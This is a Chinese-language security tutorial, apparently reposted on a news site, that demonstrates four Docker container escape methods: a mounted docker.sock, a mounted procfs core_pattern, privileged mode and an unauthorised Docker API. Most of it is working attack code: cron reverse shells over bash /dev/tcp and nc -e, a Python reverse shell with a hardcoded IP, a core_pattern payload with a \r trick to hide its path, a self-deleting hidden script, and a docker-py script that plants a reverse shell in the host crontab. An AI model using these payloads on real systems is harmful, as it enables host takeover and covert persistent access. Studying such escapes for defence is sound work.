docker逃逸场景

news/2025/2/27 3:43:41/

目录:

          docker逃逸

   docker.sock挂载逃逸

   挂载proc

   特权模式

   docker未授权访问

docker逃逸

docker.sock挂载逃逸
基础知识

Docker Client 和 Docker Daemon

  • Docker Client:这是用户通过命令行与 Docker 进行交互的工具(例如你输入的 docker run 命令)。它提供了一个用户界面来管理 Docker 容器和镜像。

  • Docker Daemon:后台运行的服务(进程),负责管理 Docker 容器的创建、运行、停止等操作。它接收来自 Docker Client 的请求,并处理这些请求。

C/S架构

  • C/S(Client/Server)架构是一种分布式计算模型,其中客户机(Client)发出请求,而服务器(Server)处理请求并返回结果。简单来说,客户端是用户的接口,服务器是处理数据和服务的地方。

通信方式

Docker Client 和 Docker Daemon 之间的通信可以通过以下方式进行:

  • unix:///var/run/docker.sock:

    • 这是 Docker 的默认通信方式。/var/run/docker.sock 是一个 Unix 域套接字文件,Docker Daemon 监听这个套接字。使用 Unix 套接字的好处是它不需要任何网络配置,通信速度较快,因为它在同一台机器上。

  • tcp://host:port:

    • 这种方式通过 TCP/IP 协议进行通信,允许客户端与远程 Docker Daemon 进行交互。你需要指定 Docker Daemon 运行的主机地址和端口号。这种方式适合在分布式系统中使用,可以让多个客户端通过网络连接到同一个 Docker Daemon。

  • fd://socketfd:

    • 这种方式使用文件描述符进行通信,适合某些特殊的场景。在这种情况下,Client 将通过文件描述符与 Daemon 进行通信,通常用于在容器内部进行进程间通信。

原理

我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演

使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。
因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全容器B,最终在容器B中控制宿主机。

总结下来就是

利用docker socket的通信方法,我们可以起docker服务,可以再起一个恶意的docker(比如root权限,挂载到根目录),然后利用恶意的docker进行逃逸

实现

运行一个挂载/var/run/的容器

一般我们的docker.sock文件都在/var/run/下面

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu

当然进入容器后也可以执行如下命令查找

find / -name docker.sock

然后安装docker

apt-get update
apt-get install docker.io

之后再次run一个有漏洞的docker环境

docker run -it -v /:/host ubuntu:18.04 /bin/bash

这里就是制作一个有漏洞的docker环境,然后挂载到docker的host目录下面

我在我原本的服务器下创建了一个flag.txt文件

[sudo] lll 的密码:
┌──(root㉿kali)-[/home/lll]
└─# cd /   ┌──(root㉿kali)-[/]
└─# vim flag.txt┌──(root㉿kali)-[/]
└─#

然后我们可以看看是否成功

root<span>@f6dedb7bb30b</span>:/# cd /host
root<span>@f6dedb7bb30b</span>:/host# ls
bin   dev  flag.txt  initrd.img      lib    lib64       media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  home      initrd.img.old  lib32  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old
root<span>@f6dedb7bb30b</span>:/host#

可以发现成功了,现在其实就已经逃逸到外面了相当于,当然可以反弹一个shell,写个定时任务

echo '* * * * * bash -i &gt;&amp; /dev/tcp/ip/2333 0&gt;&amp;1' &gt;&gt; /host/var/spool/cron/root

这里我就直接删flag文件

root<span>@f6dedb7bb30b</span>:/host# ls
bin   dev  flag.txt  initrd.img      lib    lib64       media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  home      initrd.img.old  lib32  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old
root<span>@f6dedb7bb30b</span>:/host# rm flag.txt

然后回到原本的宿主机查看是否被删除

┌──(root㉿kali)-[/]
└─# ls
bin   dev  home        initrd.img.old  lib32  lost+found  mnt  proc  run   srv  tmp  var      vmlinuz.old
boot  etc  initrd.img  lib             lib64  media       opt  root  sbin  sys  usr  vmlinuz

已经被删除,说明逃逸成功

挂载proc
基础知识

proc文件

它主要用于提供关于系统状态和进程的信息。procfs的结构以文件和目录的形式组织,用户可以通过读取这些文件来获取系统和进程的各种信息,而不需要使用专门的系统调用。

/proc目录下的内容是动态生成的,不是常驻于磁盘上的数据。这些内容通常包括:

  • 进程信息:每个运行中的进程都有一个以其PID(进程ID)命名的子目录(如/proc/1234),里面包含了该进程的状态、内存使用情况、打开的文件描述符等信息。

  • 系统信息:如/proc/cpuinfo(CPU信息),/proc/meminfo(内存信息),/proc/version(核版本)等。

  • 配置参数:如/proc/sys目录下的文件,用户可以通过这些文件调整系统内核的各种参数。

通过它,用户可以实时获取操作系统的状态和各个进程的详细信息。

原理

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

触发点在于/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。如果程序崩溃就会执行我们的命令

实现

搭建环境就

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

一般我们以core_pattern 文件数量作为标准判定

find / -name core_pattern

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

寻找绝对路径

这是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机文件系统进行的,所以我们需要找到绝对的路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

结果如下

root<span>@45552954dcd4</span>:/# cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
workdir=/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/work

因为我们需要执行文件,就需要下载一些基础的东西

安装 vim 和 gcc

apt-get update -y &amp;&amp; apt-get install vim gcc -y
vim /tmp/.t.py

安装成功后我们就可以写一个反弹shell的py脚本了

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "49.232.222.195"
lport = 2333
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.lll.py')s.close()
if __name__ == "__main__":main()

然后给这个脚本一个可执行权限

chmod 777 .lll.py

然后按照漏洞原理的格式

echo -e "|/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/merged/tmp/.lll.py \rcore " &gt;  /host/proc/sys/kernel/core_pattern

之后我们需要一个可以写一个可以让程序崩溃的代码

#include
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

然后编译运行

gcc t.c -o t
./t

具体的原理参考

https://www.secrss.com/articles/17274

效果如下

root<span>@45552954dcd4</span>:/# echo -e "|/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/merged/tmp/.lll.py \rcore " &gt; /host/proc/sys/kernel/core_pattern
root<span>@45552954dcd4</span>:/# ./t
Segmentation fault (core dumped)

可以看到崩溃了

来到我们监听的服务器

root<span>@VM-16-17-ubuntu</span>:~# ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 171.218.194.147.
Ncat: Connection from 171.218.194.147:6630.
root<span>@kali</span>:/#

可以看到已经连接成功了,逃逸成功

一些细节

首先为什么我们的脚本文件名是.lll.py

这是一个隐藏文件,直接ls是看不到的

root<span>@kali</span>:/# ls
ls
bin   home            lib32       mnt   run   tmp      vmlinuz.old
boot  initrd.img      lib64       opt   sbin  usr
dev   initrd.img.old  lost+found  proc  srv   var
etc   lib             media       root  sys   vmlinuzroot<span>@kali</span>:/# ls -a
ls -a
.        bin   home            lib32       mnt   run   tmp      vmlinuz.old
..       boot  initrd.img      lib64       opt   sbin  usr
.cache   dev   initrd.img.old  lost+found  proc  srv   var
.lll.py  etc   lib             media       root  sys   vmlinuz

可以看见只有ls -a才能看见.lll.py

然后paylaod中空格加\r的作用

这里展示一下效果

root<span>@VM-16-17-ubuntu</span>:/# echo -e "|/tmp/123123/.x.py \rcore " &gt;/flag
root<span>@VM-16-17-ubuntu</span>:/# cat flag
core /123123/.x.py

就是把真实的路径给遮住了

最后就是os.remove("/tmp/.lll.py")在反弹shell的过程中删掉了用来反弹shell的程序自身。

特权模式
基础知识

参考https://www.bookstack.cn/read/openeuler-21.03-zh/70e0731add42ae6d.md

普通容器适合启动普通进程,其权限非常受限,仅具备/etc/default/isulad/config.json中capabilities所定义的默认权限。当需要特权操作时(比如操作/sys下的设备),需要特权容器完成这些操作,使用该特性,容器内的root将拥有宿主机的root权限, 否则,容器内的root在只是宿主机的普通用户权限。

所以延申出了特权模式

特权容器容器提供了所有功能,还解除了设备cgroup控制器强制执行的所有限制,具备以下特性:

  • Secomp不block任何系统调用

  • /sys、/proc路径可写

  • 容器内能访问主机上所有设备

  • 系统的权能将全部打开

具体的如下

容器为特权模式时,将添加以下权能

Capability KeyCapability Description
SYS_MODULE加载和卸载内核模块
SYS_RAWIO允许直接访问/devport,/dev/mem,/dev/kmem及原始块设备
SYS_PACCT允许执行进程的BSD式审计
SYS_ADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
SYS_NICE允许提升优先级及设置其他进程的优先级
SYS_RESOURCE忽略资源限制
SYS_TIME允许改变系统时钟
SYS_TTY_CONFIG允许配置TTY设备
AUDIT_CONTROL启用和禁用内核审计;修改审计过滤器规则;提取审计状态和过滤规则
MAC_ADMIN覆盖强制访问控制 (Mandatory Access Control (MAC)),为Smack Linux安全模块(Linux Security Module (LSM)) 而实现
MAC_OVERRIDE允许 MAC 配置或状态改变。为 Smack LSM 而实现
NET_ADMIN允许执行网络管理任务
SYSLOG执行特权 syslog(2) 操作
DAC_READ_SEARCH忽略文件读及目录搜索的DAC访问限制
LINUX_IMMUTABLE允许修改文件的IMMUTABLE和APPEND属性标志
NET_BROADCAST允许网络广播和多播访问
IPC_LOCK允许锁定共享内存片段
IPC_OWNER忽略IPC所有权检查
SYS_PTRACE允许跟踪任何进程
SYS_BOOT允许重新启动系统
LEASE允许修改文件锁的FL_LEASE标志
WAKE_ALARM触发将唤醒系统的功能,如设置 CLOCK_REALTIME_ALARM 和 CLOCK_BOOTTIME_ALARM 定时器
BLOCK_SUSPEND可以阻塞系统挂起的特性
原理

如果启动特权模式,我们就可以挂载磁盘文件,可以理解为把宿主机的文件系统直接迁移到docker来了

实现

首先搭建环境

┌──(root㉿kali)-[/]
└─# docker run -it --privileged ubuntu:latest /bin/bash 
root<span>@5f9be5a4612f</span>:/#

然后查看是否以特权模式启动

root<span>@5f9be5a4612f</span>:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff

如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

可以看到我们这里是特权模式启动的

然后就是查找磁盘位置了

fdisk -l

之后挂载磁盘到我们的目录

root<span>@5f9be5a4612f</span>:/dev# mkdir /lll &amp;&amp; mount /dev/sda1 /lll

先在原宿主机上创建一个flag

┌──(root㉿kali)-[/]
└─# vim flag ──(root㉿kali)-[/]
└─# ls
bin  boot  dev  etc  flag  home  initrd.img  initrd.img.old  lib  lib32  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

挂载后我们查看有没有flag

root<span>@5f9be5a4612f</span>:/lll# cd /lll                           
root<span>@5f9be5a4612f</span>:/lll# ls
bin   dev  flag  initrd.img      lib    lib64       media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  home  initrd.img.old  lib32  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old

可以发现是有的,说明成功了

当然我这个验证只是简单的验证,按理来说是要弹shell的

echo '* * * * * bash -i &gt;&amp; /dev/tcp/ip/2333 0&gt;&amp;1' &gt;&gt; /lll/var/spool/cron/root
docker未授权访问

环境就使用Vulhub

┌──(root㉿kali)-[/home/…/Desktop/vulhub/docker/unauthorized-rce]
└─# docker-compose up -d

这个打是比较好打的

或者也可以这样启动

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

可能会导致我们的docker服务在公网上暴露,如果直接访问,我们可以调用一些api恶意利用

这里我没有起服务了

参考https://xz.aliyun.com/t/12495?time__1311=GqGxRQq7qeuDlrzQ0%3DYqxiq7Ki%3DOfQYKx#toc-5

当你访问version会有如下一个效果

图片

/containers/json会返回id字段

执行命令可以利用

POST /containers//exec HTTP/1.1
Host: :PORT
Content-Type: application/json
Content-Length: 188{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["命令", "参数"],比如(cat  /etc/passwd)"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true
}

逃逸还是使用定时任务

启动一个容器,并将主机/etc文件夹挂载到容器,然后我们将可以对任何文件进行读/写访问。

我们可以将crontab配置文件中的命令放入反向shell中

import dockerclient = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' &gt;&gt; /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

通过在 crontab 中注入命令来利用反向 shell

参考https://www.secrss.com/articles/17274

https://wiki.teamssix.com/CloudNative/Docker/

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关   


http://www.ppmy.cn/news/1575162.html

相关文章

【C++】代码构建工具

C 代码构建工具的主要作用是帮助开发者自动化编译、链接和其他相关的构建过程。它们可以简化项目的构建和管理过程&#xff0c;尤其是在涉及多个源文件、库依赖和平台的项目中。 C代码构建工具做了哪些事情&#xff1f; 编译源代码&#xff1a; 将 C 源代码&#xff08;如 .cp…

relief=tk.RAISED详细介绍 relief是指定控件的边框样式

relieftk.RAISED 是在使用 Python 的 Tkinter 库创建图形用户界面&#xff08;GUI&#xff09;时&#xff0c;用于设置控件外观样式的一个参数设置&#xff0c;下面为你详细解释&#xff1a; 整体功能概述 在 Tkinter 里&#xff0c;relief 参数用于指定控件的边框样式&#x…

R 语言科研绘图 --- 柱状图-汇总

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…

AI赋能的未来城市:如何用智能化提升生活质量?

这会是我们憧憬的未来城市吗&#xff1f; 随着技术的不断进步和城市化进程的加速&#xff0c;现代城市面临着诸多挑战——交通拥堵、环境污染、能源消耗、人口老龄化等问题愈发突出。为了应对这些挑战&#xff0c;建设智慧城市已成为全球发展的重要趋势。在这一进程中&#xf…

智能自动化新纪元:AI与UiPath RPA的协同应用场景与技术实践

智能自动化新纪元&#xff1a;AI与UiPath RPA的协同应用场景与技术实践 引言 在数字化转型的浪潮中&#xff0c;企业对于自动化技术的需求已从简单的任务执行转向更复杂的智能决策。传统RPA&#xff08;Robotic Process Automation&#xff09;通过模拟人类操作处理重复性任务…

【Linux系统】—— 冯诺依曼体系结构与操作系统初理解

【Linux系统】—— 冯诺依曼体系结构与操作系统初理解 1 冯诺依曼体系结构1.1 基本概念理解1.2 CPU只和内存打交道1.3 为什么冯诺依曼是这种结构1.4 理解数据流动 2 操作系统2.1 什么是操作系统2.2 设计OS的目的2.3 操作系统小知识点2.4 如何理解"管理"2.5 系统调用和…

解决idea一个非常坑的问题

dea中经常会遇到这样问题&#xff0c;明明maven的pom中已经添加了依赖&#xff0c;总是提示jar包找不到&#xff0c; 于是双击clean &#xff0c;或者 点击 reload maven &#xff0c;都是不好使。如 javax.crypto.spec.IvParameterSpec;这个包&#xff0c;竟然飘红了。我clean…

css 实现 tailwindcss peer 功能

1.假设我们有两个相邻的元素&#xff0c;当第一个元素处于 focus 状态时&#xff0c;我们要改变第二个元素的样式。 ①.运用 :focus 伪类和相邻兄弟选择器 &#xff0c;当 input 元素处于 focus 状态时&#xff0c;改变 div 元素的背景颜色和文字颜色。 <!DOCTYPE html>…